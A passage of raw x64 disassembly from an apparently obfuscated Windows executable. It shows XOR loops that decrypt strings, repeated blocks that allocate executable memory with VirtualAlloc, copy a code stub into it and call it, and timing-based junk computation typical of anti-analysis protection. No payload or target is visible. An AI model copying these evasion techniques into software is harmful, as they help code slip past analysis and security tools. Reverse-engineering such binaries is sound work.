lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140205800
cmp r9d, 0x36
jge 0x140205a4f
movsxd rax, r9d
lea r10, [rsp + 0x488]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x36
jl 0x140205a00
xorps xmm0, xmm0
movups xmmword [rsp + 0x358], xmm0
mov qword [rsp + 0x368], rsi
mov qword [rsp + 0x370], rsi
lea rax, [rsp + 0x488]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140205a75
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x358]
call fcn.1401d4c30
lea rcx, [rsp + 0x358]
call fcn.1401c8710
xorps xmm0, xmm0
movups xmmword [rsp + 0xe80], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe88], r12
mov qword [rsp + 0xe90], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe80], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
lea rbx, [0x1402137d0]
test rax, rax
je 0x140205b1b
mov rdx, rsi
cmp rax, rbx
je 0x140205b0a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x140205af2
jmp 0x140205b1b
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x140205bff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140205b42
mov rdx, rsi
jmp 0x140205bde
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140205b50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401d73f0]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe80], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe50], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe58], r12
mov qword [rsp + 0xe60], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
test rax, rax
je 0x140205c99
mov rdx, rsi
nop
cmp rax, rbx
je 0x140205c88
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x140205c70
jmp 0x140205c99
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x140205d7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140205cc0
mov rdx, rsi
jmp 0x140205d5e
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140205cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401cf270]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe50], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9a14], 0xffffffff
mov dword [rsp + 0x8694], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x8694], eax
inc rdx
cmp rdx, 0x270
jb 0x140205dc1
mov dword [rsp + 0x8690], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov qword [rsp + 0x50], rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, qword [rsp + 0x50]
cmp r8, 0x989680
jne 0x140205e17
imul rax, rax, 0x64
jmp 0x140205e32
cqo
idiv r8
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv r8
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0xa8], rax
mov r13, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x140205e61
imul rax, rax, 0x64
jmp 0x140205e7c
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, r13
jge 0x140206062
mov edi, 0x186a0
mov r13d, 1
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140205ecb
nop dword [rax + rax]
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140205eb0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
test edx, edx
cmove edx, r13d
mov dword [rsp + 0x60], edx
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ecx, dword [rsp + 0x60]
mov dword [rsp + 0x60], ecx
cmp eax, 0xc9
jae 0x140205f3c
mov dword [rsp + 0x60], ecx
cmp eax, 0x64
jae 0x140205f3c
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140205f21
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x140205f9d
cmp eax, 0x64
jae 0x140205f9d
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140205f82
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edx, dword [rsp + 0x60]
mov r8d, edx
cmp eax, 0xc9
jae 0x140206010
cmp eax, 0x64
jae 0x140206010
mov dword [rsp + 0x60], edx
nop
lea rcx, [rsp + 0x8690]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140205ff0
mov r8d, dword [rsp + 0x60]
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub rdi, r13
jne 0x140205e90
mov r13, qword [rsp + 0xa8]
jmp 0x140205e43
mov eax, dword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0xe20], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe28], r12
mov qword [rsp + 0xe30], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe20], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
test rax, rax
mov r13, 0xffffffffffffffff
je 0x1402060e0
mov rdx, rsi
cmp rax, rbx
je 0x1402060cf
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x1402060b7
jmp 0x1402060e0
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x1402061cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140206107
mov rdx, rsi
jmp 0x1402061ae
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140206120
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401c1eb0]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe20], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [0x140261eb8]
movups xmmword [rsp + 0x458], xmm0
movups xmm1, xmmword [0x140261ec8]
movups xmmword [rsp + 0x468], xmm1
movsd xmm0, qword [0x140261ed8]
movsd qword [rsp + 0x478], xmm0
mov eax, dword [0x140261ee0]
mov dword [rsp + 0x480], eax
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x140206461
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x45c]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265170]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265240]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140206272
cmp r9d, 0x2c
jge 0x1402064bf
movsxd rax, r9d
lea r10, [rsp + 0x458]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x140206470
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
mov qword [rsp + 0x388], rsi
mov qword [rsp + 0x390], rsi
lea rax, [rsp + 0x458]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1402064e5
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x378]
call fcn.1401d4c30
lea rcx, [rsp + 0x378]
call fcn.1401c8710
xorps xmm0, xmm0
movups xmmword [rsp + 0xe08], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe10], r12
mov qword [rsp + 0xe18], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe08], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
test rax, rax
je 0x140206589
mov rdx, rsi
nop dword [rax + rax]
cmp rax, rbx
je 0x140206578
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x140206560
jmp 0x140206589
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x14020666f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402065b0
mov rdx, rsi
jmp 0x14020664e
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1402065c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401bc820]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe08], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
call fcn.1401de8f0
cmp qword [0x1402806f0], 5
jae 0x14020697e
movsd xmm0, qword [str._v_9_4___t_b_._]
movsd qword [rsp + 0xb8], xmm0
mov eax, dword [0x140261d50]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x140261d54]
mov word [rsp + 0xc4], ax
cmp byte [0x140261d55], 0
je 0x14020694f
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x1402068e3
movdqa xmm7, xmmword [0x140265220]
mov eax, 5
movd xmm8, eax
movdqa xmm9, xmmword [0x140265230]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x140265200]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str._v_9_4___t_b_._]
pxor xmm3, xmm0
movd dword [rsp + 0xb8], xmm3
movdqa xmm5, xmmword [0x140265160]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xbc]
pxor xmm3, xmm1
movd dword [rsp + 0xbc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140206900
lea rax, [rsp + 0xb8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140206960
lea rdx, [rsp + 0xb8]
lea rcx, [0x1402806e0]
call fcn.140210d90
lea rcx, [rsp + 0xaa0]
call fcn.1401ddf30
mov rdx, rax
lea rcx, [0x140280438]
call fcn.14020f030
lea rcx, [rsp + 0xaa0]
call fcn.140210af0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe68], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xe70], r12
mov qword [rsp + 0xe78], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe68], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
test rax, rax
je 0x140206a1a
mov rdx, rsi
cmp rax, rbx
je 0x140206a09
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x1402069f1
jmp 0x140206a1a
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x140206aff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140206a41
mov rdx, rsi
jmp 0x140206ade
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140206a50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401ca4b0]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe68], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [str.e_____v_v__]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [0x140263610]
movups xmmword [rsp + 0x680], xmm1
movups xmm0, xmmword [0x140263620]
movups xmmword [rsp + 0x690], xmm0
movups xmm1, xmmword [0x140263630]
movups xmmword [rsp + 0x6a0], xmm1
movsd xmm0, qword [0x140263640]
movsd qword [rsp + 0x6b0], xmm0
mov eax, dword [0x140263648]
mov dword [rsp + 0x6b8], eax
movzx eax, word [0x14026364c]
mov word [rsp + 0x6bc], ax
movzx eax, byte [0x14026364e]
mov byte [rsp + 0x6be], al
mov r9d, esi
mov ebx, dword [0x140275008]
cmp ebx, 2
jl 0x140206dcf
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x674]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
